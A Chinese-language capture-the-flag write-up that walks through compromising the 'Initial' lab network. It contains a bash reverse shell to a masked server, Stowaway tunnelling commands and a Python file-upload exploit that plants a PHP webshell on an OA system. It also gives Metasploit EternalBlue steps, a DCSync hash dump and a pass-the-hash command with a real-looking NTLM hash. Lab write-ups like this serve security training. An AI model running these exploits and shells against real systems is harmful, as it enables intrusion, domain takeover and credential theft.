春秋云境-Initial

1
签到领的沙硕😋😋😋

首先打开分配的ip,是某一个管理系统

image-20260203134409847

fscan扫一下,发现有漏洞,直接去打

image-20260203134512907

使用Thinkphp直接打漏洞

image-20260203134551122

sudo发现mysql具有s权限,不过在这个工具上面提不了权限(可以考虑反弹shell到服务器上面去弹然后提权),不过没必要,直接去读/root/flag/f*里面的flag

image-20260203134812147

上传fscan去扫一下发现多个东西,可以看到内网有 172.22.1.18 信呼协同,还有 MS17-010 漏洞

image-20260203135119620

image-20260203135212560

1
bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/2333 <&1'

image-20260203135258503

做一个内网通信,可以用 frp 也可以用 stowaway (https://github.com/ph4ntonn/Stowaway/releases/tag/v2.2)

先在服务器运行 admin 文件后,再在靶机上运行 agent 得到响应

找到对应 linux 靶机的 agent 传到靶机上,admin 传到自己服务器上

1
2
3
./linux_x64_admin -l 5001 -s 123

./linux_x64_agent -c xx.xx.xx.xx:5001 -s 123 --reconnect 8

记得去安全组那里把5001端口打开

image-20260203135631820

image-20260203135638414

服务器上

1
2
use 0
socks 8082//同理,把8082端口打开

image-20260203165641987

image-20260203165713044

打上去

image-20260203140941828

通过 sockes 可以实现内网通信了,使用 proxifier 弄一个全局代理

然后windows主机去访问172.22.1.18

1
2
登录页面:
admin/admin123

image-20260203140952270

登陆后直接利用 poc,打一个文件上传 nday

image-20260203141319827

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?a=system('dir');")
print(r.text)

远程文件上传,传上去小🐎

image-20260203141417803

连接,直接就是system,拿到flag

image-20260203141528596

还剩一台靶机 ms17-010

先永恒之蓝直接打,在kali里面直接打

image-20260203170001209

1
2
3
4
5
proxychains4 msfconsole    //做好代理连接,利用msf模块直接打
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

得到 system 权限后用 creds_all 等命令收集内网凭据,而我们控制的这台机器是有 DCSync 的权限的 (因为这个是 DC1,也就是域控制器), 所以能直接从域控上导出 Hash

1
2
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

用 crackmapexec 打 hash 传递

1
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image-20260203170243950

拿下徽章嘻嘻嘻

image-20260203143642140